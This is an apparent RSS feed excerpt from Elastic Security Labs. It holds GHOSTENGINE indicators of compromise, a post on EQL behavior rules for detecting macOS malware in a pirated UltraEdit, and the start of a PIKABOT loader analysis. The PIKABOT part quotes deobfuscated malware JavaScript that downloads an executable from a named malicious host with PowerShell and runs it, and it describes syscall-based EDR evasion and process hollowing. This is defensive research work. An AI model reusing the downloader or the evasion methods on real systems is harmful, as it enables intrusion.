<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostEngine.yar">Windows Trojan GHOSTENGINE</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_ArPot.yar">Windows.VulnDriver.ArPot</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_IoBitUnlocker.yar">Windows.VulnDriver.IoBitUnlocker</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ghostengine">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>2fe78941d74d35f721556697491a438bf3573094d7ac091b42e4f59ecbd25753</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\Fonts\smartsscreen.exe</code></td>
<td>GHOSTENGINE EDR controller module</td>
</tr>
<tr>
<td><code>4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\System32\drivers\aswArPots.sys</code></td>
<td>Avast vulnerable driver</td>
</tr>
<tr>
<td><code>2b33df9aff7cb99a782b252e8eb65ca49874a112986a1c49cd9971210597a8ae</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\System32\drivers\IObitUnlockers.sys</code></td>
<td>Iobit vulnerable driver</td>
</tr>
<tr>
<td><code>3ced0552b9ecf3dfecd14cbcc3a0d246b10595d5048d7f0d4690e26ecccc1150</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\System32\oci.dll</code></td>
<td>Update/Persistence module (64-bit)</td>
</tr>
<tr>
<td><code>3b2724f3350cb5f017db361bd7aae49a8dbc6faa7506de6a4b8992ef3fd9d7ab</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\System32\oci.dll</code></td>
<td>Update/Persistence module (32-bit)</td>
</tr>
<tr>
<td><code>35eb368c14ad25e3b1c58579ebaeae71bdd8ef7f9ccecfc00474aa066b32a03f</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\Fonts\taskhostw.exe</code></td>
<td>Miner client</td>
</tr>
<tr>
<td><code>786591953336594473d171e269c3617d7449876993b508daa9b96eedc12ea1ca</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\Fonts\config.json</code></td>
<td>Miner configuration file</td>
</tr>
<tr>
<td><code>11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5</code></td>
<td>SHA-256</td>
<td><code>C:\Windows\Fonts\WinRing0x64.sys</code></td>
<td>Miner driver</td>
</tr>
<tr>
<td><code>aac7f8e174ba66d62620bd07613bac1947f996bb96b9627b42910a1db3d3e22b</code></td>
<td>SHA-256</td>
<td><code>C:\ProgramData\Microsoft\DeviceSync\SystemSync\Tiworker.exe</code></td>
<td>Initial stager</td>
</tr>
<tr>
<td><code>6f3e913c93887a58e64da5070d96dc34d3265f456034446be89167584a0b347e</code></td>
<td>SHA-256</td>
<td><code>backup.png</code></td>
<td>GHOSTENGINE backdoor module</td>
</tr>
<tr>
<td><code>7c242a08ee2dfd5da8a4c6bc86231985e2c26c7b9931ad0b3ea4723e49ceb1c1</code></td>
<td>SHA-256</td>
<td><code>get.png</code></td>
<td>GHOSTENGINE loader</td>
</tr>
<tr>
<td><code>cc4384510576131c126db3caca027c5d159d032d33ef90ef30db0daa2a0c4104</code></td>
<td>SHA-256</td>
<td><code>kill.png</code></td>
<td>GHOSTENGINE EDR termination module</td>
</tr>
<tr>
<td><code>download.yrnvtklot[.]com</code></td>
<td>domain</td>
<td></td>
<td>C2 server</td>
</tr>
<tr>
<td><code>111.90.158[.]40</code></td>
<td>ipv4-addr</td>
<td></td>
<td>C2 server</td>
</tr>
<tr>
<td><code>ftp.yrnvtklot[.]com</code></td>
<td>domain</td>
<td></td>
<td>C2 server</td>
</tr>
<tr>
<td><code>93.95.225[.]137</code></td>
<td>ipv4-addr</td>
<td></td>
<td>C2 server</td>
</tr>
<tr>
<td><code>online.yrnvtklot[.]com</code></td>
<td>domain</td>
<td></td>
<td>C2 server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.antiy.com/response/HideShoveling.html">https://www.antiy.com/response/HideShoveling.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/invisible-miners-unveiling-ghostengine/ghostengine.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Sinking macOS Pirate Ships with Elastic Behavior Detections]]></title>
            <link>https://www.elastic.co/kr/security-labs/sinking-macos-pirate-ships</link>
            <guid>sinking-macos-pirate-ships</guid>
            <pubDate>Fri, 15 Mar 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[This research looks at a recently found macOS malware campaign using the macOS Endpoint Security Framework paired with the Elastic Agent to hunt and detect the behaviors this malware exhibits.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>On January 12, 2024, Malwrhunterteam, an X account that surfaces interesting malware samples, usually found via VirusTotal, released a <a href="https://twitter.com/malwrhunterteam/status/1745959438140297697">Tweet</a> about a pirated macOS application that appeared to contain malicious capabilities. macOS security researcher Patrick Wardle quickly released a <a href="https://objective-see.org/blog/blog_0x79.html">write-up</a> detailing the application’s malicious functionality, which included dropping second and third-stage payloads. Shortly after, the team at JAMF Threat Labs released a <a href="https://jamf.com/blog/jtl-malware-pirated-applications/">blog</a> that captured several additional sibling samples that JAMF had been tracking before the Malwrhunterteam tweet, delving deep into the internals and core functionality this malware provides. If you have not read both of these great write-ups, there are a lot of helpful details and background information in these sources that will add context to the rest of this analysis.</p>
<p>This publication will not cover the malware internals or related samples. Instead, we will look to provide practical, resilient detection and threat hunting guidance that can enable you to alert on the actions taken by this, or similarly related, malware. Signature-based detections commonly fall short of such capabilities; however, we will highlight how our behavior rules deal with this.</p>
<p>We will be breaking down the malware's actions in each stage and analyzing how we can use the data from the macOS <a href="https://developer.apple.com/documentation/endpointsecurity">Endpoint Security Framework (ESF)</a> and the Elastic Agent to build these detections. Let's dig in.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/sinking-macos-pirate-ships/image4.png" alt="UltraEdit execution flow" title="image_tooltip" /></p>
<h2>UltraEdit</h2>
<p>The <a href="https://www.ultraedit.com/">UltraEdit</a> application (a legitimate text and hex editor) was pirated (altered and then abused to facilitate malware distribution) along with several other applications and distributed via a disk image file (<code>.dmg</code>).</p>
<p>Upon executing the pirated version of the application, it immediately loads a 3rd party, <em>unsigned</em> dylib (macOS shared library) called <code>libConfigurer64.dylib</code>. This dylib acts as a dropper whose goal is to download and execute follow-on payloads. The dylib downloads and executes two hidden files:  <code>/private/tmp/.test</code> and <code>/Users/Shared/.fseventsd</code>.</p>
<p>Looking at the initial actions taken by the application, we can see the unsigned 3rd party dylib load takes place immediately post-execution in the Analyzer View of the Elastic Security Solution. This is an important event to focus on because it is the only non-system library loaded.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/sinking-macos-pirate-ships/image8.png" alt="UltraEdit Dylib Load Event" title="image_tooltip" /></p>
<p>In version 8.11, Elastic Defend introduced a first-of-its-kind dylib load event for the macOS Elastic Agent, allowing us to capture library loads and details regarding those libraries, such as dylib signature data. With this powerful new visibility, we can quickly build an <a href="https://www.elastic.co/kr/guide/en/elasticsearch/reference/current/eql.html">Event Query Language (EQL)</a> query that looks for unsigned dylib loads from a volume mount or the applications directory structure.</p>
<p><strong>Rule Name: Application Unsigned Dylib Load</strong></p>
<pre><code>library where event.action == &quot;load&quot; and dll.path :  
(&quot;/Volumes/*.app/Contents/*&quot;, &quot;/Applications/*.app/Contents/*&quot;) 
and dll.code_signature.exists == false
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/sinking-macos-pirate-ships/image5.png" alt="Application Unsigned Dylib Load Detection Event" title="image_tooltip" /></p>
<p>We can and should take this a step further to identify only untrusted or unsigned processes that are loading an unsigned library. This will reduce the amount of false positives and still accurately capture the event taking place.</p>
<p><strong>Rule Name: Unsigned or Untrusted Application Unsigned Dylib Load</strong></p>
<pre><code>library where event.action == &quot;load&quot; and  
(process.code_signature.exists == false or process.code_signature.trusted == false)  
and dll.path : (&quot;/Volumes/*.app/Contents/*&quot;, &quot;/Applications/*.app/Contents/*&quot;) and  
dll.code_signature.exists == false
</code></pre>
<p>We now have a behavior-based detection that triggers on the unsigned process that loads the unsigned dylib and alerts us to its presence.</p>
<p>Let’s look at the additional payloads and their actions to see if we can build any additional detections.</p>
<h3>.test</h3>
<p>The <code>.test</code> binary gets placed in the temporary directory, post download (<code>/private/tmp/.test</code>), and executed with process arguments containing a path to an SSH binary. Noted by JAMF Threat Labs, this SSH binary is not in the default location of the SSH binary on macOS, which really resides at /<code>usr/bin/ssh</code>. This command line does not correlate with any intended functionality but rather an attempt to blend in.</p>
<p>As Patrick Wardle and JAMF stated, this binary is a macOS build of the open source, cross-platform post-exploitation agent known as <a href="https://github.com/geemion/Khepri">Khepri</a> and provides full backdoor access to a target system.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/sinking-macos-pirate-ships/image6.png" alt="Elastic Analyzer View True Process Tree" title="image_tooltip" /></p>
<p>From a detection perspective, we could create a very specific query here that looks for hidden binaries (files prefixed with a period are hidden from the user’s view in the GUI and CLI) executing from suspicious locations that contain process arguments containing the path to the SSH binary.</p>
<p>The issue with creating a query like this is that, as JAMF pointed out:</p>
<blockquote>
<p>one particularly interesting technique that the malware uses is replacing its command-line arguments to further blend in with the operating system.</p>
</blockquote>
<p>The malware updates these process arguments between samples, so while this query might detect one of the samples, they could easily change it and bypass this detection.</p>
<p>Instead of the process arguments, we could focus on the unsigned, hidden binary executing from a suspicious directory like <code>/tmp</code>.</p>
<p><strong>Rule Name: Untrusted or Unsigned Hidden Binary Executed from Temporary Directory</strong></p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and  
process.executable : (&quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;) and  
process.name : &quot;.*&quot; and (process.code_signature.exists == false or  
process.code_signature.trusted == false)
</code></pre>
<p>With the above rule, if any hidden unsigned or untrusted binaries attempt to execute from a temporary directory, we will be alerted irrespective of whether our signature or our machine learning models detect it.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/sinking-macos-pirate-ships/image1.png" alt="Hidden Binary Executed from Temporary Directory Detection Event Example" title="image_tooltip" /></p>
<p>(A note on false positives: It will happen, even though it should be extremely rare, to see hidden binaries executing from a temporary directory on macOS. There are many developers on macOS that adopt poor software development practices. False positives should be reviewed case-by-case and only excluded via the rule or Elastic exclusion list if the software is business-approved and validated.)</p>
<p>In addition to this rule, since the hidden payloads make outbound command and control network connections, we could also look for any outbound network connections from a hidden executable, as that is very suspicious activity on macOS and should warrant an alert at least. If you want to reduce the possibility of false positives, specify specific process executable directories like <code>/Users/Shared/</code> or <code>/tmp/</code> etc., or include process code signature data specifying unsigned or untrusted hidden executables.</p>
<p><strong>Rule Name: Hidden Executable Outbound Network Connection</strong></p>
<pre><code>network where event.type == &quot;start&quot; and 
event.action == “connection_attempted” and process.name : &quot;.*&quot;
</code></pre>
<p>Since this is a backdoor payload that offers a variety of functionality (upload, download, etc.), it would be prudent to create additional rules that look for some of these actions from an unsigned or untrusted, hidden binary. Since we already have a rule that would detect the hidden binary's initial execution, we will move on to the next payload.</p>
<h3>.fseventsd</h3>
<p><code>.fseventsd</code> was the second payload dropped by the malicious dylib at (<code>/Users/Shared/.fseventsd</code>). This payload’s purpose was to provide a persistent foothold on the victim’s machine utilizing a masqueraded launch agent and to act as a downloader for another payload that has yet to be found. Still, we know from reverse engineering of <code>.fseventsd</code> is named (<code>.fseventsds</code>).</p>
<p>We can see via the Elastic Analyzer View the first notable event is the persistence installation of a masqueraded launch agent.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/sinking-macos-pirate-ships/image9.png" alt="Elastic Analyzer View Process Dylib Load" title="image_tooltip" /></p>
<p>This activity can be tackled from two different angles. We could first detect this by looking for the masqueraded <code>.plist</code> file utilizing file events and process code signature data. In the below behavior rule, we look for files where the file name starts with <code>com.apple…</code> and the file path is a <code>Library/LaunchAgent</code> or <code>Library/LaunchDaemon</code>, and the responsible process is unsigned or untrusted.</p>
<p><strong>Rule Name: Persistence via a Masqueraded Plist Filename</strong></p>
<pre><code>file where event.type != &quot;deletion&quot; and 
 file.name : &quot;*com.apple*.plist&quot; and
 file.path :
       (&quot;/System/Library/LaunchAgents/*&quot;, 
        &quot;/Library/LaunchAgents/*&quot;,
        &quot;/Users/*/Library/LaunchAgents/*&quot;,
        &quot;/System/Library/LaunchDaemons/*&quot;,
        &quot;/Library/LaunchDaemons/*&quot;) and
(process.code_signature.trusted == false or  
process.code_signature.exists == false)
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/sinking-macos-pirate-ships/image2.png" alt="Persistence via a Masqueraded Plist Filename Detection Event" title="image_tooltip" /></p>
<p>The second way we can detect this persistent install technique is to take advantage of another new data source unique to Elastic Agent, which my colleague Ricardo Ungureanu and I added to version 8.6 of Elastic Defend. We created an aptly named persistence event that monitors the launch services directories and collects the plist details, sending them back in a structured event that can be used to create rules around suspicious or malicious Launch Agents or Daemons.</p>
<p>In the following rule, we look for launch events where the <code>runatload</code> value is set to <code>true</code> or the <code>keepalive</code> value is set to <code>true</code>. The plist arguments contain the path to a hidden executable in the <code>/Users/Shared</code> directory. This rule could be expanded to include additional suspicious or malicious arguments that would alert you to the installation of persistence by a malicious or suspicious binary.</p>
<p><strong>Rule Name: Persistence via Suspicious Launch Agent or Launch Daemon</strong></p>
<pre><code>file where event.action == &quot;launch_daemon&quot; and  
(Persistence.runatload == true or Persistence.keepalive == true) and 
  Persistence.args : &quot;/Users/Shared/.*&quot;
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/sinking-macos-pirate-ships/image3.png" alt="Persistence via Suspicious Launch Agent or Launch Daemon Detection Event" title="image_tooltip" /></p>
<p>The masqueraded plist could also be detected using this persistence event using the below query.</p>
<pre><code>file where event.action == &quot;launch_daemon&quot; and  
Persistence.name : &quot;com.apple.*&quot; and  
(process.code_signature.exists == false or 
process.code_signature.trusted == false)
</code></pre>
<p>The final piece here is the downloading of the missing 3rd stage payload. The hidden <code>.fseventsd</code> located in the <code>/Users/Shared</code> folder reaches out to download this new hidden payload to the <code>/tmp/</code> directory. You might remember we already created two rules (“Hidden Binary Executed from Temporary Directory” and “Hidden Executable Outbound Network Connection”) that would detect this activity.</p>
<p>We could add another rule to catch when a hidden executable is created in a suspicious directory. We can look for any file event where the event action is not the deletion of the file, the file name denotes a hidden file, the file contains Mach-O header bytes, and the file path is a path where the execution of a hidden file is not common. We collect file header bytes if the file is an executable, allowing us to denote executable files from other types of files not based solely on the file extension.</p>
<p><strong>Rule Name: Hidden Executable Created in Unusual Directory</strong></p>
<pre><code>file where event.action != &quot;deletion&quot; and file.name : &quot;.*&quot; and 
file.Ext.header_bytes : (&quot;cffaedfe*&quot;, &quot;cafebabe*&quot;) and 
file.path : (&quot;/Users/Shared/*&quot;, &quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;)
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/sinking-macos-pirate-ships/image7.png" alt="Elastic Behavior Based Defense" title="image_tooltip" /></p>
<h2>Summary</h2>
<p>This malware is representative of many campaigns targeting macOS today. Our report on the DPRK malware KANDYKORN shows that these campaigns are modular, encompassing multiple stages of payloads with capabilities and functionality distributed between these payloads to avoid detection. You can see that with UltraEdit, one payload serves as the interactive backdoor and the other as the persistence mechanism. Malware like this can often easily update to avoid signatures. Still, as we have shown, behavior rules are unavoidable and allow us to bridge the gap between static signatures and machine learning models.</p>
<p>Behavior-based rules are very powerful if you have the right data and the ability to correlate that data. Our endpoint behavior rules can detect and prevent malware regardless of whether it updates or not. We have over 200+ endpoint behavior rules on macOS alone, including versions of those shown in this publication, that allow us to detect and prevent previously “undetected” malware by observing its actions in real time. If you want to check out our production endpoint behavior rules, they can be found <a href="https://github.com/elastic/protections-artifacts">here</a>. To learn more about our query languages, you can look here (<a href="https://www.elastic.co/kr/guide/en/elasticsearch/reference/current/eql.html">EQL</a> and <a href="https://www.elastic.co/kr/guide/en/elasticsearch/reference/current/esql-getting-started.html">ES|QL</a>). We are proud to be an open source company and want to let our software and features speak for themselves. If you want to test and explore these features for yourself, you can easily create an <a href="https://www.elastic.co/kr/cloud">Elastic Cloud</a> Account with a 30-day trial license, or for local testing, you can download “<a href="https://github.com/peasead/elastic-container">The Elastic Container Project</a>” and set the license value to trial in the <code>.env</code> file.</p>
<h2>References</h2>
<ul>
<li><a href="https://twitter.com/malwrhunterteam/status/1745959438140297697">https://twitter.com/malwrhunterteam/status/1745959438140297697</a></li>
<li><a href="https://objective-see.org/blog/blog_0x79.html">https://objective-see.org/blog/blog_0x79.html</a></li>
<li><a href="https://jamf.com/blog/jtl-malware-pirated-applications/">https://jamf.com/blog/jtl-malware-pirated-applications</a></li>
<li><a href="https://developer.apple.com/documentation/endpointsecurity">https://developer.apple.com/documentation/endpointsecurity</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/sinking-macos-pirate-ships/photo-edited-01@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[PIKABOT, I choose you!]]></title>
            <link>https://www.elastic.co/kr/security-labs/pikabot-i-choose-you</link>
            <guid>pikabot-i-choose-you</guid>
            <pubDate>Sat, 24 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs observed new PIKABOT campaigns, including an updated version. PIKABOT is a widely deployed loader malicious actors utilize to distribute additional payloads.]]></description>
            <content:encoded><![CDATA[<h2>PIKABOT at a glance</h2>
<p>PIKABOT is a widely deployed loader malicious actors utilize to distribute payloads such as Cobalt Strike or launch ransomware. On February 8th, the Elastic Security Labs team observed new PIKABOT campaigns, including an updated variant. This version of the PIKABOT loader uses a new unpacking method and heavy obfuscation. The core module has added a new string decryption implementation, changes to obfuscation functionality, and various other modifications.</p>
<p>This post will highlight the initial campaign, break down the new loader functionality,  and review the core components. There are interesting design choices in this new update that we think are the start of a new codebase that will make further improvements over time. While the functionality is similar to previous builds, these new updates have likely broken signatures and previous tooling.</p>
<p>During the development of this research, the ThreatLabz team at Zscaler released great <a href="https://www.zscaler.com/blogs/security-research/d-evolution-pikabot">analysis</a> and insights into a sample overlapping with those in this post. We suggest reading their work along with ours to understand these PIKABOT changes comprehensively.</p>
<h3>Key takeaways</h3>
<ul>
<li>Fresh campaigns involving significant updates to the PIKABOT loader and core components</li>
<li>PIKABOT loader uses a new unpacking technique of combining scattered chunks of encrypted data in base64 format from <code>.data</code> section</li>
<li>Changes in the core include toned-down obfuscation and in-line RC4 functions, plaintext configuration at runtime, removal of AES during network communications</li>
<li>PIKABOT development appears as a work-in-progress, with future updates likely imminent</li>
<li>Call-stack visibility using Elastic Security provides the ability to triage threats like PIKABOT rapidly</li>
</ul>
<h4>PIKABOT campaign overview</h4>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image17.png" alt="PIKABOT execution flow" /></p>
<p>As the new year started, PIKABOT distribution remained inactive until approximately two weeks ago. This new campaign on February 8th involved emails with hyperlinks that led to ZIP archive files containing a malicious obfuscated Javascript script.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image21.png" alt="Obfuscated Javascript within ZIP archive" /></p>
<p>Below are the contents of the obfuscated JavaScript file, showing the next sequence to download and execute PIKABOT’s loader using PowerShell.</p>
<pre><code class="language-JavaScript">// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i &lt; 3; i++)
{
	var obj = new ActiveXObject(&quot;WScript.Shell&quot;)
	obj['Run'](&quot;powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe&quot;)
}
</code></pre>
<h2>PIKABOT loader</h2>
<h3>Loader stage 1</h3>
<p>To appear authentic, the developer tampered with a legitimate search and replace tool called <code>grepWinNP3.exe</code> from <a href="https://github.com/rizonesoft/Notepad3">this</a> repository. Using our internal sandboxing project (<a href="https://www.elastic.co/kr/security-labs/click-click-boom-automating-protections-testing-with-detonate">Detonate</a>) and leveraging Elastic Defend’s <a href="https://www.elastic.co/kr/security-labs/peeling-back-the-curtain-with-call-stacks">call stack feature</a> provided a detailed trace of the execution, allowing us to pinpoint the entry point of malicious code.</p>
<p>An analysis of the call stack data reveals that execution begins at a call before offset <code>0x81aa7</code> within the malicious file; the execution then leaps to a memory allocation at a call prior to offset <code>0x25d84</code>. Furthermore, it was observed that the process creation call stack is missing normal calls to <code>KernelBase.dll!CreateProcessInternalW</code> and <code>ntdll.dll!NtCreateUserProcess</code>, due to the use of a syscall via shellcode execution residing in the <a href="https://www.elastic.co/kr/security-labs/hunting-memory">unbacked memory</a>. By using this implementation, it will bypass user-mode hooks on WOW64 modules to evade EDR products.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image8.png" alt="Alert call stack for PIKABOT loader" /></p>
<p>Looking into the offset <code>0x81aa7</code> of the malicious file and conducting a side-by-side code comparison with a verified, benign version of the <code>grepWinNP3.exe</code> file, we identified something distinct and unusual: a hardcoded address to execute the PIKABOT loader, this marks the entrypoint of the PIKABOT loader.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image1.png" alt="Entrypoint to malicious code" /></p>
<p>The malicious code employs heavy obfuscation, utilizing a technique where a jump (<code>JMP</code>) follows each assembly instruction. This approach significantly complicates analysis by disrupting the straightforward flow of execution.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image14.png" alt="Obfuscation involving a combination of instructions and jumps" /></p>
<p>The loader extracts its stage 2 payload from the <code>.text</code> section, where it is stored in chunks of <code>0x94</code> bytes, before consolidating the pieces. It then employs a seemingly custom decryption algorithm, which utilizes bitwise operations.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image5.png" alt="Decryption algorithm for stage 2 payload" /></p>
<p>The next step of the process is to reflectively load the PE file within the confines of the currently executing process. This technique involves dynamically loading the PE file's contents into memory and executing it, without the need for the file to be physically written to disk. This method not only streamlines the execution process by eliminating the necessity for external file interactions but also significantly enhances stealth by minimizing the digital footprint left on the host system.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image25.png" alt="Reflectively loading PE" /></p>
<h3>Loader stage 2</h3>
<p>The stage 2 loader, tasked with initializing the PIKABOT core within a newly established process, employs a blend of code and string obfuscation techniques similar to those found in the core itself. In addition to its obfuscation capabilities, the loader incorporates a series of advanced anti-debugging countermeasures.</p>
<h4>Anti-debugging</h4>
<p>The malware utilizes specific NTDLL <code>Zw</code> APIs for a variety of operations, including debugger detection, process creation, and injection, aiming to stay under the radar of detection mechanisms and evade EDR (Endpoint Detection and Response) user-land hooking, as well as debugging attempts.</p>
<p>It executes syscalls directly, bypassing conventional API calls that are more susceptible to monitoring and interception. It uses a wrapper function that facilitates the execution of syscalls in 64-bit mode which takes a hash of a <code>Zw</code> API name as a parameter.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image24.png" alt="Function used to execute syscall by hash" /></p>
<p>The wrapper function extracts the syscall ID by parsing the loaded NTDLL and matching the hash of the <code>Zw</code> function name. After finding the correct syscall ID, it uses the <code>Wow64Transition</code> Windows API to execute the syscall in 64-bit mode.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image11.png" alt="Control flow graph showing syscall passed to WoW64Transition" /></p>
<p>Note that the parameters needed are pushed on the stack before the wrapper is called, the following example showcases a <code>ZwQueryInformationProcess</code> call with the <code>ProcessInformationClass</code> set to <code>ProcessDebugPort</code>(7):</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image6.png" alt="Syscall parameters pushed on stack" /></p>
<p>The malware employs a series of anti-debugging techniques designed to thwart detection by debugging and forensic tools. These techniques include:</p>
<ul>
<li>Calling <code>ZwQuerySystemInformation</code> with the <code>SystemKernelDebuggerInformation</code> parameter to detect the presence of kernel debuggers.</li>
<li>Calling <code>ZwQueryInformationProcess</code> with the <code>ProcessInformationClass</code> set to <code>ProcessDebugPort</code> to identify any debugging ports associated with the process.</li>
<li>Calling <code>ZwQueryInformationProcess</code> again, but with the <code>ProcessInformationClass</code> set to <code>ProcessDebugFlags</code> parameter, to ascertain if the process has been flagged for debugging.</li>
<li>Inspecting the Process Environment Block (PEB) for the <code>BeingDebugged</code> flag, which indicates if the process is currently being debugged.</li>
<li>Using <code>GetThreadContext</code> to detect hardware breakpoints.
Scanning the list of currently running processes to identify any active debugging or forensic tools.</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image9.png" alt="Decompilation of debugging checks" /></p>
<p>Interestingly, we discovered a bug where some of the process names it checks have their first byte zeroed out, this could suggest a mistake by the malware’s author or an unwanted side-effect added by the obfuscation tool. The full list of process names that are checked can be found at the end of this article.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image15.png" alt="Process names with missing first byte" /></p>
<h4>Execution</h4>
<p>The loader populates a global variable with the addresses of essential APIs from the NTDLL and KERNEL32 libraries. This step is pivotal for the malware's operation, as these addresses are required for executing subsequent tasks. Note that the loader employs a distinct API name hashing algorithm, diverging from the one previously used for <code>Zw</code> APIs.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image19.png" alt="APIs retrieved for loading core component" /></p>
<p>Below is the reconstructed structure:</p>
<pre><code class="language-C">struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};
</code></pre>
<p>Loader structure</p>
<p>The malware then consolidates bytes of the PIKABOT core that are scattered in the <code>.data</code> section in base64-encoded chunks, which is noteworthy when compared to a previous version which loaded a set of PNGs from its resources section.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image2.png" alt="Functions used to retrieve core payload in chunks" /></p>
<p>It executes a sequence of nine distinct functions, each performing similar operations but with varying arguments. Each function decrypts an RC4 key using an in-line process that utilizes strings that appear legitimate. The function then base64 decodes each chunk before decrypting the bytes.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image3.png" alt="Decryption functions using RC4 and base64" /></p>
<p>After consolidating the decrypted bytes, it uses the <code>RtlDecompressBuffer</code> API to decompress them.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image27.png" alt="PIKABOT loader using decompression function" /></p>
<p>The loader creates a suspended instance of <code>ctfmon.exe</code> using the <code>ZwCreateUserProcess</code> syscall, a tactic designed to masquerade as a legitimate Windows process. Next, it allocates a large memory region remotely via the <code>ZwAllocateVirtualMemory</code> syscall to house the PIKABOT core's PE file.</p>
<p>Subsequently, the loader writes the PIKABOT core into the newly allocated memory area using the <code>ZwWriteVirtualMemory</code> syscall. It then redirects the execution flow from <code>ctfmon.exe</code> to the malicious PIKABOT core by calling the <code>SetContextThread</code> API to change the thread's execution address. Finally, it resumes the thread with <code>ZwResumeThread</code> syscall.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image13.png" alt="Syscall execution of core payload" /></p>
<h2>PIKABOT core</h2>
<p>The overall behavior and functionality of the updated PIKABOT core are similar to previous versions: the bot collects initial data from the victim machine and presents the threat actor with command and control access to enable post-compromise behavior such as command-line execution, discovery, or launching additional payloads through injection.</p>
<p>The notable differences include:</p>
<ul>
<li>New style of obfuscation with fewer in-line functions</li>
<li>Multiple implementations for decrypting strings</li>
<li>Plaintext configuration at runtime, removal of JSON format</li>
<li>Network communication uses RC4 plus byte swapping, removal of AES</li>
</ul>
<h3>Obfuscation</h3>
<p>One of the most apparent differences is centered around the obfuscation of PIKABOT. This version contains a drastically less obfuscated binary but provides a familiar feel to older versions. Instead of a barrage of in-line RC4 functions, there are only a few left after the new update. Unfortunately, there is still a great deal of obfuscation applied to global variables and junk instructions.</p>
<p>Below is a typical example of junk code being inserted in between the actual malware’s code, solely to extend analysis time and add confusion.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/pikabot-i-choose-you/image18.png" alt="Obfuscation using global variables" /></p>
<h3>String Decryption</h3>
